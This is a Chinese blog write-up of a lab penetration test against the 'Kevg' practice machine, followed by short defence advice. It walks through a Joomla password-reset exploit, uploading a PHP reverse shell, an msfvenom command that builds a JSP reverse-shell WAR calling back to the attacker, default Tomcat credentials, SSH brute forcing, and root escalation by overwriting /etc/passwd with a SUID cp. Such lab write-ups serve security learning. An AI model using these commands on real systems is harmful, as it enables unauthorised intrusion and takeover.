Kevg靶机渗透实现 8080端口 8081端口 1322端口实现

2024-05-15 00:26:14

一、信息搜集

先使用ifconfig查看本机ip：

用nmap工具扫描本机ip段下的主机：

发现目标靶机ip为192.168.152.134
查看目标靶机开放了哪些端口：

发现80，8080，8081，9000端口上开放了HTTP服务，1322端口开放了SSH服务，可以作为漏洞突破点

二、外网突破

对于8081端口进行突破

通过搜索可以发现，有一个对于此系统的漏洞扫描工具joomscan，扫描此网页：

有很多此系统的漏洞，这里我选择CVE-2008-3681，是远程修改密码，通过点击链接进入，发现已经给出实例：

我们用这种方法尝试对于8081端口进行修改
先输入192.168.152.134:8081/index.php?option=com_user&view=reset&layout=confirm，输入令牌为“’”，修改password，我设置为admin

通过admin账户和刚修改的密码登入系统

我们通过template manager中的beez来上传反弹shell的php代码，通过查看本机的文件发现自带的有php-reverse-shell.php

修改其中的ip为主机ip，端口设置为1234

上传成功后我们用nc工具监听我们的1234端口，同时访问该文件的网页

用python3 -c 'import pty;pty.spawn("/bin/bash")' 来转化为交互式shell，至此获得了shell

8080端口渗透
查看网页，tomcat7

使用nikto扫描网页 nikto -h http://192.168.211.134:8080

发现tomcat的弱口令ID:tomcat PW:tomcat，找到管理页并登入

登陆之后

发现可以上传war包, 这里我们可以通过上传一个反弹 shell的war，然后再监听端口，从而拿到shell的控制权

用kali生成一个war并上传
Msfvenom -p java/jsp_shell_reverse_tcp LHOST = 192.168.211.131 LPORT = 1111 war > a_jsp_shell_1111.war

访问http://192.168.211.134:8080/a_jsp_shell_1111/
监听1111端口得到shell

1322端口
首先通过nmap扫描靶机信息：

发现1322端口运行的是ssh协议，又发现其版本为OPENSSH 6.6.lpl通过msfconsole查询openssh的漏洞：

我们使用第3个漏洞，是用于枚举服务器存在的用户的

设置目标主机和端口，同时设置要爆破用用户名字典，使用的为kali自带的/usr/share/wordlists/metasploit/piata_ssh_userpass.txt，设置成功查看options

成功后开始run执行，记录搜索出来的用户名

用hydra进行弱口令爆破admin的密码为admin

通过ssh远程登录靶机的shell

成功获取shell

三、权限提升

通过find / -perm -u=s -type f 2>/dev/null查找系统中赋予了s权限的程序

我们通过cat etc/passwd查看发现，有root，admin，user三个用户可以是使用

由于我们权限无法直接访问etc/shadow，所以我们使用之前发现的有s权限的cp命令将其复制到tmp目录下查看

发现三个用户名的密码，是密文。将admin信息复制到kali桌面文件夹保存

用john工具进行密码爆破，由于之前爆破过，报告中我们直接show其结果

得到admin账户的密码为admin
我们在自己的kali中添加admin用户，并将其用户id和组id设置为0

在主机中搭建一个简单的http服务器，端口号默认设置为8000

由于靶机中/tmp文件不需要高权限，所以我们把kali主机中的passwd下载到靶机中的tmp中

由于cp具有root权限，所以我们用cp把下载的passwd覆盖靶机中原/etc/passwd，此时admin的权限为root

我们su admin切换用户，使用id和whoami确认奕获得root权限，至此提权成功

四、系统防护

在获得admin的密码的时候，使用到了哈希值爆破密码，我们可以使用对于密码明文加密后的哈希值再次进行加密得到一个“哈希值的哈希值”，这样可以有效的防止如john等hash值爆破工具轻松的破解出明文密码。
文件上传漏洞是攻击者通过上传⽊马⽂件，直接得到，危害等级超级⾼，现在的⼊侵中上传漏洞也是常见的漏洞。导致该漏洞的原因在于代码作者没有对访客提交的数据进⾏检验或者过滤不严，可以直接提交修改过的数据绕过扩展名的检验。建议对⽂件格式限制，只允许某些格式上传。
权限提升。权限提升是指利⽤系统中的或是别的⽅法使得⾃⼰突破了原来的限制，能够⾮法访问对⽅⽬录甚⾄是使得⾃⼰能够向那样来获取整个权限。建议：1.定期进⾏固件、中间件的升级。不要给用户设置⼯作之外的权限。对⽂件格式限制，只允许某些格式上传。
弱口令爆破漏洞。应用存在默认口令或口令较简单易被猜到。会被一些弱口令爆破工具得到口令。建议一是设置更为复杂的口令，使得爆破口令变得困难，二是一段时间要更换新的口令，防止攻击者利用爆破的口令多次入侵系统。

Kevg靶机渗透实现 8080端口 8081端口 1322端口实现相关推荐

已解决：Window11问题 8080、8081、8082端口占用问题 Port 808X was already in use.
Port 8080 was already in use. Port 8081 was already in use. Port 8082 was already in use. Window11 打 ...
渗透小技巧从getshell到3389端口远程桌面连接靶机
目录 1.靶场环境 2.永恒之蓝漏洞Getshell 3.命令行打开3389远程连接端口 4.命令行添加登录用户 5.Kali自带远程连接工具进行连接 5.1.xfreerdp工具 5.2.xfree ...
安全测试（三）服务器安全渗透测试常规服务器安全漏洞高危端口暴露、弱口令密码、暴力破解、服务器提权、Mysql数据库提权等浅谈《社会工程学》实战案例
文章目录一.前言二.服务器安全高危端口 2.1 端口号(Port number) 2.2 常见端口后及其用途表 2.3 端口号扫描工具介绍 2.4 端口号端口说明攻击技巧 2.5 安全警示 ...
渗透知识- Windows系统目录、服务、端口、注册表
1.系统目录 Windows:是Windows系统安装文件所在文件夹,一般用来存储系统安装文件和硬件驱动程序等内容,是系统正常运转的必要保证. Program Files:指的是程序文件,是Windo ...
php80端口改成8080,jetty,_JETTY 8080端口改为80端口无法访问，jetty - phpStudy
JETTY 8080端口改为80端口无法访问 JETTY最初安装时候配置的是8080端口,域名备案成功以后将8080端口改为了80,并重启了服务器.但访问仍然是8080才可以访问,80端口无法访问.运 ...
Linux放行单个8080端口和放行8000-9000端口区间
Linux放行单个8080端口和放行8000-9000端口区间前言防火墙是借助硬件和软件对内外部网络环境的保护措施 CentOs7借助firewall实现应用层防火墙,CentOs6基于iptab ...
CentOS /Linux 开放80、8080端口或者开放某个端口
CentOS /Linux 开放80.8080端口或者开放某个端口方式一开放端口查看防火墙设置发现没开启80端口 iptables -L -n 修改端口配置文件 vim /etc/sysconf ...
Tomcat配置8080强制跳转https端口变成8443或者80跳转443
Tomcat配置强制https端口变成8443 跳转端口: http默认端口 8080 https默认端口 8443 或者 http默认端口 80 https默认端口 443 这里只讲tomcat配置 ...
【Kali渗透全方位实战】使用Nmap进行端口探测-发现脆弱站点
文章目录 1 摘要 2 Nmap作用 3 常用Nmap扫描指令 4 端口扫描状态 5 TCP/IP协议与Http协议的区别 6 使用Nmap探测目标开放端口 1 摘要一端口是个网络应用中很重要的东 ...

最新文章

热门文章